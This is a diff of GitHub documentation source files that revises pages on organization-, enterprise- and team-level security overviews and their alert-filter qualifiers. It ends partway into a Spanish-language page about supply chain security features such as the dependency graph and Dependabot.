The application security team at your company can use the security overview for both broad and specific analyses of your organization's security status. For example, they can use the overview page to monitor adoption of features by your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %} to your enterprise, or to review all alerts of a specific type and severity level across all repositories in your organization.
|
||||
For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)" and "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."
|
||||
|
||||
### About filtering and sorting alerts
|
||||
## About filtering and sorting alerts
|
||||
|
||||
In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. The security summary is highly interactive, allowing you to investigate specific categories of information, based on qualifiers like alert risk level, alert type, and feature enablement. You can also apply multiple filters to focus on narrower areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data variables.product.prodname_code_scanning %} alerts. For more information, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
|
||||
|
||||
{% ifversion security-overview-views %}
|
||||
|
||||
In the security overview, there are dedicated views for each type of security alert, such as Dependabot, code scanning, and secret scanning alerts. You can use these views to limit your analysis to a specific set of alerts, and narrow the results further with a range of filters specific to each view. For example, in the secret scanning alert view, you can use the `Secret type` filter to view only secret scanning alerts for a specific secret, like a GitHub {% data variables.product.pat_generic %}. At the repository level, you can use the security overview to assess the specific repository's current security status, and configure any additional security features not yet in use on the repository.
|
||||
Security overviews provide a powerful way to understand the security of a group of repositories. The views are interactive with filters that allow you to drill into the aggregated data and identify sources of high risk or low feature coverage. As you apply multiple filters to focus on narrower areas of interest, the data across the view changes to reflect your selection. For more information, see "[Filtering alerts in security overviews](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
|
||||
|
||||
{% ifversion security-overview-alert-views %}
|
||||
There are also dedicated views for each type of security alert that you can use to limit your analysis to a specific set of alerts, and then narrow the results further with a range of filters specific to each view. For example, in the {% data variables.product.prodname_secret_scanning %} alert view, you can use the `Secret type` filter to view only {% data variables.product.prodname_secret_scanning %} alerts for a specific secret, like a GitHub {% data variables.product.pat_generic %}.
|
||||
{% endif %}
|
||||
|
||||
|
||||
{% note %}
|
||||
|
||||
**Note:** Security overviews display active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist.
|
||||
|
||||
{% endnote %}
|
||||
|
||||
## About organization-level security overviews
|
||||
|
||||
{% data reusables.security-overview.beta-org-risk-coverage %}
|
||||
|
||||
You can find the security overviews on the **Security** tab for any organization that's owned by an enterprise. Each overview shows aggregated data that you can drill down into, as you add each filter, the data is updated to reflect the repositories or alerts that you've selected.
|
||||
|
||||
The application security team at your company can use the different security overviews for both broad and specific analyses of your organization's security status. {% ifversion security-overview-org-risk-coverage %}For example, the team can use the "Security Coverage" page to monitor the adoption of features across your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %}, or use the "Security Risk" page to identify repositories with more than five open {% data variables.product.prodname_secret_scanning %} alerts.{% else %}For example, they can use the overview page to monitor adoption of features by your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %} to your enterprise, or to review all alerts of a specific type and severity level across all repositories in your organization.{% endif %}
|
||||
|
||||
Organization owners and security managers for organizations have access to security overviews for their organizations. {% ifversion ghec or ghes > 3.6 or ghae > 3.6 %}Organization members can also access organization-level security overviews to view results for repositories where they have admin privileges or have been granted access to security alerts. For more information on managing security alert access, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %}
|
||||
|
||||
{% ifversion security-overview-org-risk-coverage %}
|
||||
### Security Risk view
|
||||
|
||||
This view shows data about the repositories affected by different types of security alert.
|
||||
|
||||
- Use the **Type** and **Teams** drop-downs to add repository type and team filters.
|
||||
- Click **Open alerts** or **Repositories affected** to show only repositories with a specific type of security alert.
|
||||
|
||||
In addition, when you click in the search box, a list of the full set of filters available is shown.
|
||||
|
||||
|
||||
|
||||
### Security Coverage view
|
||||
|
||||
This view shows data about which repositories are using security features.
|
||||
|
||||
- Use the **Type** and **Teams** drop-downs to add repository type and team filters.
|
||||
- Click **Alerts enabled** and other features listed in the header to see only repositories with those features enabled.
|
||||
- Change any `FEATURE:enabled` filter to `FEATURE:not-enabled` in the search box to see repositories that haven't enabled a feature.
|
||||
- For any repository, click the ellipsis (**...**) then **Security Settings** to enable additional features.
|
||||
|
||||
In addition, when you click in the search box, a list of the full set of filters available is shown.
|
||||
|
||||
|
||||
|
||||
{% else %}
|
||||
|
||||
### Understanding the main security overview
|
||||
|
||||
|
||||
|
||||
For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out. In addition, a risk score is calculated for each repository based on its code scanning, Dependabot and secret scanning alerts. This score is in beta and should be used with caution. Its algorithm and approach is subject to change.
|
||||
|
||||
|
||||
|
||||
|
||||
| Icon | Meaning |
|
||||
| -------- | -------- |
|
||||
@@ -61,29 +106,29 @@ For each repository in the security overview, you will see icons for each type o
|
||||
| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. |
|
||||
| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. |
|
||||
|
||||
The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist.
|
||||
|
||||
### About the organization-level security overview
|
||||
|
||||
At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. You can filter information by security features at the organization-level.
|
||||
|
||||
Organization owners and security managers for organizations have access to the organization-level security overview. {% ifversion ghec or ghes > 3.6 or ghae > 3.6 %}Organization members can access the organization-level security overview to view results for repositories where they have admin privileges or have been granted access to security alerts. For more information on managing security alert access, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)".{% endif %}
|
||||
{% endif %}
|
||||
|
||||
{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}
|
||||
### About the enterprise-level security overview
|
||||
At the enterprise-level, the security overview displays aggregate and repository-specific security information for your enterprise. You can view repositories owned by your enterprise that have security alerts, view all security alerts, or security feature-specific alerts from across your enterprise.
|
||||
## About enterprise-level security overviews
|
||||
|
||||
Organization owners and security managers for organizations in your enterprise have access to the enterprise-level security overview. They can view repositories and alerts for the organizations that they have full access to.
|
||||
You can find the security overviews on the **Code Security** tab for your enterprise. Each overview displays aggregated and repository-specific security information for your enterprise. You can view repositories owned by your enterprise that have security alerts, view all security alerts, or security feature-specific alerts from across your enterprise.
|
||||
|
||||
Enterprise owners can only see alerts for organizations that they are an owner or a security manager of.{% ifversion ghec or ghes > 3.5 or ghae > 3.5 %} Enterprise owners can join an organization as an organization owner to see all of its alerts in the enterprise-level security overview. For more information, see "[Managing your role in an organization owned by your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)."{% endif %}
|
||||
Enterprise owners can view alerts for organizations that they are an owner or a security manager of.{% ifversion ghec or ghes > 3.5 or ghae > 3.5 %} Enterprise owners can join an organization as an organization owner to see all of its alerts in the enterprise-level security overview. For more information, see "[Managing your role in an organization owned by your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)."{% endif %}
|
||||
|
||||
{% elsif fpt %}
|
||||
### About the enterprise-level security overview
|
||||
At the enterprise-level, the security overview displays aggregate and repository-specific information for an enterprise. For more information, see "[About the enterprise-level security overview](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview#about-the-enterprise-level-security-overview)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
|
||||
Organization owners and security managers for organizations in an enterprise have access to the enterprise-level security overview. They can view repositories and alerts for the organizations that they have full access to.
|
||||
{% endif %}
|
||||
|
||||
{% ifversion ghes < 3.7 or ghae < 3.7 %}
|
||||
### About the team-level security overview
|
||||
## About team-level security overviews
|
||||
|
||||
You can find the security overviews on the **Security** tab for any team in an organization that's owned by an enterprise.
|
||||
|
||||
At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)."
|
||||
{% endif %}
|
||||
|
||||
## Further reading
|
||||
|
||||
- "[Securing your repository](/code-security/getting-started/securing-your-repository)"
|
||||
- "[Securing your organization](/code-security/getting-started/securing-your-organization)"
|
||||
- "[Introduction to adopting GitHub Advanced Security at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale)"
|
||||
{% endif %}
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
---
|
||||
title: Filtering alerts in the security overview
|
||||
title: Filtering alerts in security overviews
|
||||
intro: Use filters to view specific categories of alerts
|
||||
permissions: '{% data reusables.security-overview.permissions %}'
|
||||
product: '{% data reusables.gated-features.security-overview %}'
|
||||
allowTitleToDifferFromFilename: true
|
||||
versions:
|
||||
ghae: '*'
|
||||
ghes: '*'
|
||||
@@ -14,16 +15,16 @@ topics:
|
||||
- Alerts
|
||||
- Organizations
|
||||
- Teams
|
||||
shortTitle: Filtering alerts
|
||||
shortTitle: Filtering security overviews
|
||||
---
|
||||
|
||||
{% ifversion ghes < 3.5 or ghae %}
|
||||
{% data reusables.security-overview.beta %}
|
||||
{% endif %}
|
||||
|
||||
## About filtering the security overview
|
||||
## About filtering security overviews
|
||||
|
||||
You can use filters in the security overview to narrow your focus based on a range of factors, like alert risk level, alert type and feature enablement. Different filters are available depending on the specific view and whether your analysis is at the organization, team or repository level.
|
||||
You can use filters in a security overview to narrow your focus based on a range of factors, like alert risk level, alert type, and feature enablement. Different filters are available depending on the specific view{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} and whether you are viewing data at the enterpise or organization level{% endif %}.
|
||||
|
||||
{% ifversion security-overview-displayed-alerts %}
|
||||
{% note %}
|
||||
@@ -33,45 +34,56 @@ You can use filters in the security overview to narrow your focus based on a ran
|
||||
|
||||
## Filter by repository
|
||||
|
||||
Available in all organization-level and team-level views.
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
| `repo:REPOSITORY-NAME` | Displays alerts for the specified repository. |
|
||||
| `repo:REPOSITORY-NAME` | Displays data for the specified repository. |
|
||||
|
||||
## Filter by whether security features are enabled
|
||||
|
||||
Available in the organization-level and team-level overview.
|
||||
In the examples below, replace `:enabled` with `:not-enabled` to see repositories where security features are not enabled. These qualifiers are available in the main summary views.
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
| `code-scanning:enabled` | Display repositories that have {% data variables.product.prodname_code_scanning %} enabled. |
|
||||
| `code-scanning:not-enabled` | Display repositories that do not have {% data variables.product.prodname_code_scanning %} enabled. |
|
||||
| `secret-scanning:enabled` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
|
||||
| `secret-scanning:not-enabled` | Display repositories that have {% data variables.product.prodname_secret_scanning %} enabled. |
|
||||
| `dependabot:enabled` | Display repositories that have {% data variables.product.prodname_dependabot_alerts %} enabled. |
|
||||
| `dependabot:not-enabled` | Display repositories that do not have {% data variables.product.prodname_dependabot_alerts %} enabled. |
|
||||
| `not-enabled:any` | Display repositories with at least one security feature that is not enabled. |
|
||||
| `code-scanning:enabled` | Display repositories that have set up {% data variables.product.prodname_code_scanning %}. |
|
||||
| `dependabot:enabled` | Display repositories that have enabled {% data variables.product.prodname_dependabot_alerts %}. |
|
||||
| `secret-scanning:enabled` | Display repositories that have enabled {% data variables.product.prodname_secret_scanning %} alerts. {% ifversion security-overview-org-risk-coverage %} |
|
||||
| `any-feature:enabled` | Display repositories where at least one security feature is enabled. |{% else %}
|
||||
| `not-enabled:any` | Display repositories with at least one security feature that is not enabled. |{% endif %}
|
||||
|
||||
{% ifversion security-overview-org-risk-coverage %}
|
||||
The organization-level Security Coverage view includes extra filters.
|
||||
|
||||
{% data reusables.security-overview.beta-org-risk-coverage %}
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
| `code-scanning-pull-request-alerts:enabled`| Display repositories that have configured {% data variables.product.prodname_code_scanning %} to run on pull requests. |
|
||||
| `dependabot-security-updates:enabled` | Display repositories that have enabled {% data variables.product.prodname_dependabot %} security updates. |
|
||||
| `secret-scanning-push-protection:enabled` | Display repositories that have set up push protection for {% data variables.product.prodname_secret_scanning %}. |
|
||||
{% endif %}
|
||||
|
||||
## Filter by repository type
|
||||
|
||||
Available in the organization-level and team-level overview.
|
||||
These qualifiers are available in the main summary views.
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
{%- ifversion ghes or ghec %}
|
||||
| `is:public` | Display public repositories. |
|
||||
{%- endif %}
|
||||
{%- ifversion ghes or ghec or ghae %}
|
||||
| `is:internal` | Display internal repositories. |
|
||||
{%- endif %}
|
||||
| `is:private` | Display private repositories. |
|
||||
| `archived:true` | Display archived repositories. |
|
||||
| `archived:true` | Display archived repositories. |
|
||||
| `archived:false` | Omit archived repositories. |
|
||||
|
||||
{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}
|
||||
## Filter by level of risk for repositories
|
||||
|
||||
The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk. Available in the organization-level overview.
|
||||
The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk.
|
||||
|
||||
{% ifversion security-overview-org-risk-coverage %}
|
||||
These qualifiers are available in the enterprise-level view.
|
||||
{% endif %}
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
@@ -80,10 +92,11 @@ The level of risk for a repository is determined by the number and severity of a
|
||||
| `risk:low` | Display repositories that are at low risk. |
|
||||
| `risk:unknown` | Display repositories that are at an unknown level of risk. |
|
||||
| `risk:clear` | Display repositories that have no detected level of risk. |
|
||||
{% endif %}
|
||||
|
||||
## Filter by number of alerts
|
||||
|
||||
Available in the organization-level overview.
|
||||
{% ifversion security-overview-org-risk-coverage %}These qualifiers are available in the enterprise-level Overview and in the organization-level Security Risk view.{% else %}These qualifiers are available in the main summary views.{% endif %}
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
@@ -94,7 +107,7 @@ Available in the organization-level overview.
|
||||
|
||||
## Filter by team
|
||||
|
||||
Available in the organization-level overview.
|
||||
These qualifiers are available in the main summary views.
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
@@ -102,17 +115,17 @@ Available in the organization-level overview.
|
||||
|
||||
## Filter by topic
|
||||
|
||||
Available in the organization-level overview.
|
||||
These qualifiers are available in the main summary views.
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
| <code>topic:<em>TOPIC-NAME</em></code> | Displays repositories that are classified with *TOPIC-NAME*. |
|
||||
|
||||
{% ifversion security-overview-views %}
|
||||
{% ifversion security-overview-alert-views %}
|
||||
|
||||
## Filter by severity
|
||||
## Additional filters for {% data variables.product.prodname_code_scanning %} alert views
|
||||
|
||||
Available in the code scanning alert views. All code scanning alerts have one of the categories shown below. You can click any result to see full details of the relevant rule, and the line of code that triggered the alert.
|
||||
All code scanning alerts have one of the categories shown below. You can click any result to see full details of the relevant query and the line of code that triggered the alert.
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
@@ -125,9 +138,9 @@ Available in the code scanning alert views. All code scanning alerts have one of
|
||||
|`severity:note`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as notes.|
|
||||
|
||||
{% ifversion dependabot-alerts-vulnerable-calls %}
|
||||
## Filter by {% data variables.product.prodname_dependabot %} alert type
|
||||
## Additional filters for {% data variables.product.prodname_dependabot %} alert views
|
||||
|
||||
Available in the {% data variables.product.prodname_dependabot %} alert views. You can filter the view to show {% data variables.product.prodname_dependabot_alerts %} that are ready to fix or where additional information about exposure is available. You can click any result to see full details of the alert.
|
||||
You can filter the view to show {% data variables.product.prodname_dependabot_alerts %} that are ready to fix or where additional information about exposure is available. You can click any result to see full details of the alert.
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
@@ -137,19 +150,13 @@ Available in the {% data variables.product.prodname_dependabot %} alert views. Y
|
||||
|
||||
{% endif %}
|
||||
|
||||
## Filter by secret types
|
||||
|
||||
Available in the secret scanning alert views.
|
||||
## Additional filters for {% data variables.product.prodname_secret_scanning %} alert views
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
| `secret-type:SERVICE_PROVIDER` | Displays alerts for the specified secret and provider. For more information, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)." |
|
||||
| `secret-type:CUSTOM-PATTERN` | Displays alerts for secrets matching the specified custom pattern. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)." |
|
||||
|`provider:PROVIDER_NAME` | Displays alerts for all secrets issues by the specified provider. |
|
||||
| `secret-type:SERVICE_PROVIDER` | Displays alerts for the specified secret and provider. |
|
||||
| `secret-type:CUSTOM-PATTERN` | Displays alerts for secrets matching the specified custom pattern. |
|
||||
|
||||
## Filter by provider
|
||||
For more information, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)."
|
||||
|
||||
Available in the secret scanning alert views.
|
||||
|
||||
| Qualifier | Description |
|
||||
| -------- | -------- |
|
||||
|`provider:PROVIDER_NAME` | Displays alerts for all secrets issues by the specified provider. For more information, see "[{% data variables.product.prodname_secret_scanning_caps %} patterns](/code-security/secret-scanning/secret-scanning-patterns)." |
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
---
|
||||
title: Viewing the security overview
|
||||
title: Viewing security overviews
|
||||
intro: Navigate to the different views available in the security overview
|
||||
permissions: '{% data reusables.security-overview.permissions %}'
|
||||
product: '{% data reusables.gated-features.security-overview %}'
|
||||
allowTitleToDifferFromFilename: true
|
||||
versions:
|
||||
ghae: '>= 3.4'
|
||||
ghes: '*'
|
||||
@@ -14,7 +15,7 @@ topics:
|
||||
- Alerts
|
||||
- Organizations
|
||||
- Teams
|
||||
shortTitle: View the security overview
|
||||
shortTitle: View security overviews
|
||||
---
|
||||
|
||||
{% ifversion ghes < 3.5 or ghae %}
|
||||
@@ -23,48 +24,44 @@ shortTitle: View the security overview
|
||||
|
||||
{% data reusables.security-overview.information-varies-GHAS %}
|
||||
|
||||
## Viewing the security overview for an organization
|
||||
## Viewing the security overviews for an organization
|
||||
|
||||
{% data reusables.security-overview.beta-org-risk-coverage %}
|
||||
|
||||
{% ifversion security-overview-org-risk-coverage %}
|
||||
{% data reusables.organizations.navigate-to-org %}
|
||||
{% data reusables.organizations.security-overview %}
|
||||
1. Choose the overview you want to display from the options in the sidebar.
|
||||
1. Use the drop-down filters and search box to focus on the information of greatest interest. The "Security Risk" and "Security Coverage" views also have an interactive header that you can use to filter results.
|
||||
|
||||
|
||||
|
||||
{% else %}
|
||||
|
||||
{% data reusables.organizations.navigate-to-org %}
|
||||
{% data reusables.organizations.security-overview %}
|
||||
1. To view aggregate information about alert types, click **Show more**.
|
||||
|
||||
|
||||
{% data reusables.organizations.filter-security-overview %}
|
||||
{% ifversion security-overview-views %}
|
||||
{% ifversion security-overview-alert-views %}
|
||||
{% data reusables.organizations.security-overview-feature-specific-page %}
|
||||
|
||||
|
||||
{% endif %}
|
||||
|
||||
## Viewing alerts across your organization
|
||||
|
||||
{% data reusables.organizations.navigate-to-org %}
|
||||
{% data reusables.organizations.security-overview %}
|
||||
1. In the security sidebar, select the subset of alerts you want to view.
|
||||
|
||||
2. Optionally, filter the list of alerts. Each view has its own selection of available filters. You can click multiple filters in the drop-down filter menus to narrow your search. You can also type search qualifiers in the search field. For more information about the available qualifiers, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
|
||||
|
||||
{% endif %}
|
||||
|
||||
{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %}
|
||||
## Viewing the security overview for an enterprise
|
||||
## Viewing the security overviews for an enterprise
|
||||
|
||||
{% data reusables.enterprise-accounts.access-enterprise-on-dotcom %}
|
||||
1. In the left sidebar, click {% octicon "shield" aria-label="The shield icon" %} **Code Security**.
|
||||
{% ifversion security-overview-feature-specific-alert-page %}
|
||||
{% data reusables.organizations.security-overview-feature-specific-page %}
|
||||
{% endif %}
|
||||
{% endif %}
|
||||
|
||||
## Viewing alerts for a repository
|
||||
|
||||
{% data reusables.repositories.navigate-to-repo %}
|
||||
1. Under your repository name, click **Security**.
|
||||
|
||||
2. In the security sidebar, select the view you want to open.
|
||||
|
||||
3. Optionally, filter the list of alerts. Each view has its own selection of available filters. You can click multiple filters in the drop-down filter menus to narrow your search. You can also type search qualifiers in the search field. For more information about the available qualifiers, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)."
|
||||
|
||||
|
||||
{% endif %}
|
||||
|
||||
{% ifversion ghes < 3.7 or ghae < 3.7 %}
|
||||
## Viewing the security overview for a team
|
||||
|
||||
{% data reusables.profile.access_org %}
|
||||
@@ -72,3 +69,4 @@ shortTitle: View the security overview
|
||||
{% data reusables.organizations.specific_team %}
|
||||
{% data reusables.organizations.team-security-overview %}
|
||||
{% data reusables.organizations.filter-security-overview %}
|
||||
{% endif %}
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: About supply chain security
|
||||
intro: '{% data variables.product.product_name %} helps you secure your supply chain, from understanding the dependencies in your environment, to knowing about vulnerabilities in those dependencies{% ifversion fpt or ghec or ghes %}, and patching them{% endif %}.'
|
||||
title: Acerca de la seguridad de la cadena de suministro
|
||||
intro: '{% data variables.product.product_name %} te ayuda a proteger la cadena de suministro, desde comprender las dependencias de tu entorno a conocer las vulnerabilidades de dichas dependencias {% ifversion fpt or ghec or ghes %} y aplicarles revisiones{% endif %}.'
|
||||
miniTocMaxHeadingLevel: 3
|
||||
shortTitle: Supply chain security
|
||||
redirect_from:
|
||||
@@ -19,154 +19,151 @@ topics:
|
||||
- Dependencies
|
||||
- Pull requests
|
||||
- Repositories
|
||||
ms.openlocfilehash: 7c059876a27969b4664d5c8d94dec357a135c2de
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148106505'
|
||||
---
|
||||
## Acerca de la seguridad de la cadena de suministro en GitHub
|
||||
|
||||
## About supply chain security at GitHub
|
||||
Con el uso acelerado del código abierto, la mayoría de los proyectos dependen de cientos de dependencias de código abierto. Esto plantea un problema de seguridad: ¿qué ocurre si las dependencias que usa son vulnerables? Podría poner a los usuarios en riesgo de un ataque de cadena de suministro. Una de las cosas más importantes que puedes hacer para proteger la cadena de suministro es revisar las dependencias vulnerables{% ifversion GH-advisory-db-supports-malware %} y reemplazar cualquier malware{% endif %}.
|
||||
|
||||
With the accelerated use of open source, most projects depend on hundreds of open-source dependencies. This poses a security problem: what if the dependencies you're using are vulnerable? You could be putting your users at risk of a supply chain attack. One of the most important things you can do to protect your supply chain is to patch your vulnerable dependencies{% ifversion GH-advisory-db-supports-malware %} and replace any malware{% endif %}.
|
||||
Las dependencias se agregan directamente a la cadena de suministro cuando se especifican en un archivo de manifiesto o en un archivo de bloqueo. Las dependencias también se pueden incluir de forma transitiva, es decir, incluso si no especifica una dependencia concreta, pero se usa en una dependencia propia, también dependerá de esa dependencia.
|
||||
|
||||
You add dependencies directly to your supply chain when you specify them in a manifest file or a lockfile. Dependencies can also be included transitively, that is, even if you don’t specify a particular dependency, but a dependency of yours uses it, then you’re also dependent on that dependency.
|
||||
{% data variables.product.product_name %} ofrece diversas características para ayudarte a comprender las dependencias del entorno{% ifversion ghae %} y conocer las vulnerabilidades de esas dependencias{% endif %}{% ifversion fpt or ghec or ghes %}, conocer las vulnerabilidades de esas dependencias y aplicarles revisiones{% endif %}.
|
||||
|
||||
{% data variables.product.product_name %} offers a range of features to help you understand the dependencies in your environment{% ifversion ghae %} and know about vulnerabilities in those dependencies{% endif %}{% ifversion fpt or ghec or ghes %}, know about vulnerabilities in those dependencies, and patch them{% endif %}.
|
||||
|
||||
The supply chain features on {% data variables.product.product_name %} are:
|
||||
- **Dependency graph**
|
||||
- **Dependency review**
|
||||
- **{% data variables.product.prodname_dependabot_alerts %} **
|
||||
{% ifversion fpt or ghec or ghes %}- **{% data variables.product.prodname_dependabot_updates %}**
|
||||
Las características de la cadena de suministro en {% data variables.product.product_name %} son las siguientes:
|
||||
- **Gráfica de dependencias**
|
||||
- **Revisión de dependencias**
|
||||
- **{% data variables.product.prodname_dependabot_alerts %} ** {% ifversion fpt or ghec or ghes %}- **{% data variables.product.prodname_dependabot_updates %}**
|
||||
- **{% data variables.product.prodname_dependabot_security_updates %}**
|
||||
- **{% data variables.product.prodname_dependabot_version_updates %}**{% endif %}
|
||||
- **{% data variables.product.prodname_dependabot_version_updates %}** {% endif %}
|
||||
|
||||
The dependency graph is central to supply chain security. The dependency graph identifies all upstream dependencies and public downstream dependents of a repository or package. You can see your repository’s dependencies and some of their properties, like vulnerability information, on the dependency graph for the repository.
|
||||
El gráfico de dependencias es fundamental para la seguridad de la cadena de suministro. En el gráfico de dependencias se identifican todas las dependencias ascendentes y las dependencias descendentes públicas de un repositorio o paquete. En el gráfico de dependencias del repositorio puede ver las dependencias del repositorio y algunas de sus propiedades, como la información de vulnerabilidad.
|
||||
|
||||
Other supply chain features on {% data variables.product.prodname_dotcom %} rely on the information provided by the dependency graph.
|
||||
Otras características de la cadena de suministro de {% data variables.product.prodname_dotcom %} dependen de la información proporcionada por el gráfico de dependencias.
|
||||
|
||||
- Dependency review uses the dependency graph to identify dependency changes and help you understand the security impact of these changes when you review pull requests.
|
||||
- {% data variables.product.prodname_dependabot %} cross-references dependency data provided by the dependency graph with the list of advisories published in the {% data variables.product.prodname_advisory_database %}, scans your dependencies and generates {% data variables.product.prodname_dependabot_alerts %} when a potential vulnerability {% ifversion GH-advisory-db-supports-malware %}or malware{% endif %} is detected.
|
||||
{% ifversion fpt or ghec or ghes %}- {% data variables.product.prodname_dependabot_security_updates %} use the dependency graph and {% data variables.product.prodname_dependabot_alerts %} to help you update dependencies with known vulnerabilities in your repository.
|
||||
- La revisión de dependencias usa el gráfico de dependencias para identificar los cambios de dependencias y ayudarle a comprender el impacto en la seguridad de estos cambios al revisar solicitudes de incorporación de cambios.
|
||||
- {% data variables.product.prodname_dependabot %} realiza referencias cruzadas entre los datos de dependencia proporcionados por el gráfico de dependencias y la lista de avisos publicados en {% data variables.product.prodname_advisory_database %}, examina las dependencias y genera {% data variables.product.prodname_dependabot_alerts %} cuando se detecta una vulnerabilidad posible {% ifversion GH-advisory-db-supports-malware %}o malware{% endif %}.
|
||||
{% ifversion fpt or ghec or ghes %}- Las {% data variables.product.prodname_dependabot_security_updates %} usan el gráfico de dependencias y {% data variables.product.prodname_dependabot_alerts %} para ayudarte a actualizar las dependencias con vulnerabilidades conocidas en el repositorio.
|
||||
|
||||
{% data variables.product.prodname_dependabot_version_updates %} don't use the dependency graph and rely on the semantic versioning of dependencies instead. {% data variables.product.prodname_dependabot_version_updates %} help you keep your dependencies updated, even when they don’t have any vulnerabilities.
|
||||
{% data variables.product.prodname_dependabot_version_updates %} no usan el gráfico de dependencias y en su lugar se basan en el control de versiones semántico de las dependencias. {% data variables.product.prodname_dependabot_version_updates %} ayudan a mantener actualizadas las dependencias, incluso cuando no tienen ninguna vulnerabilidad.
|
||||
{% endif %}
|
||||
|
||||
{% ifversion fpt or ghec or ghes %}
|
||||
For best practice guides on end-to-end supply chain security including the protection of personal accounts, code, and build processes, see "[Securing your end-to-end supply chain](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)."
|
||||
{% ifversion fpt or ghec or ghes %} Para obtener guías de procedimientos recomendados sobre la seguridad de la cadena de suministro de un extremo a otro, incluida la protección de cuentas personales, código y procesos de compilación, consulta "[Protección de la cadena de suministro de un extremo a otro](/code-security/supply-chain-security/end-to-end-supply-chain/end-to-end-supply-chain-overview)".
|
||||
{% endif %}
|
||||
|
||||
## Feature overview
|
||||
## Introducción a las características
|
||||
|
||||
### What is the dependency graph
|
||||
### Qué es el gráfico de dependencias
|
||||
|
||||
To generate the dependency graph, {% data variables.product.company_short %} looks at a repository’s explicit dependencies declared in the manifest and lockfiles. When enabled, the dependency graph automatically parses all known package manifest files in the repository, and uses this to construct a graph with known dependency names and versions.
|
||||
Para generar el gráfico de dependencias, {% data variables.product.company_short %} examina las dependencias explícitas de un repositorio declaradas en el manifiesto y los archivos de bloqueo. Cuando se habilita, el gráfico de dependencias analiza automáticamente todos los archivos de manifiesto de paquete conocidos del repositorio y los usa para construir un gráfico con versiones y nombres de dependencia conocidos.
|
||||
|
||||
- The dependency graph includes information on your _direct_ dependencies and _transitive_ dependencies.
|
||||
- The dependency graph is automatically updated when you push a commit to {% data variables.product.company_short %} that changes or adds a supported manifest or lock file to the default branch, and when anyone pushes a change to the repository of one of your dependencies.
|
||||
- You can see the dependency graph by opening the repository's main page on {% data variables.product.product_name %}, and navigating to the **Insights** tab.
|
||||
- El gráfico de dependencias incluye información sobre las dependencias _directas_ y las _transitivas_.
|
||||
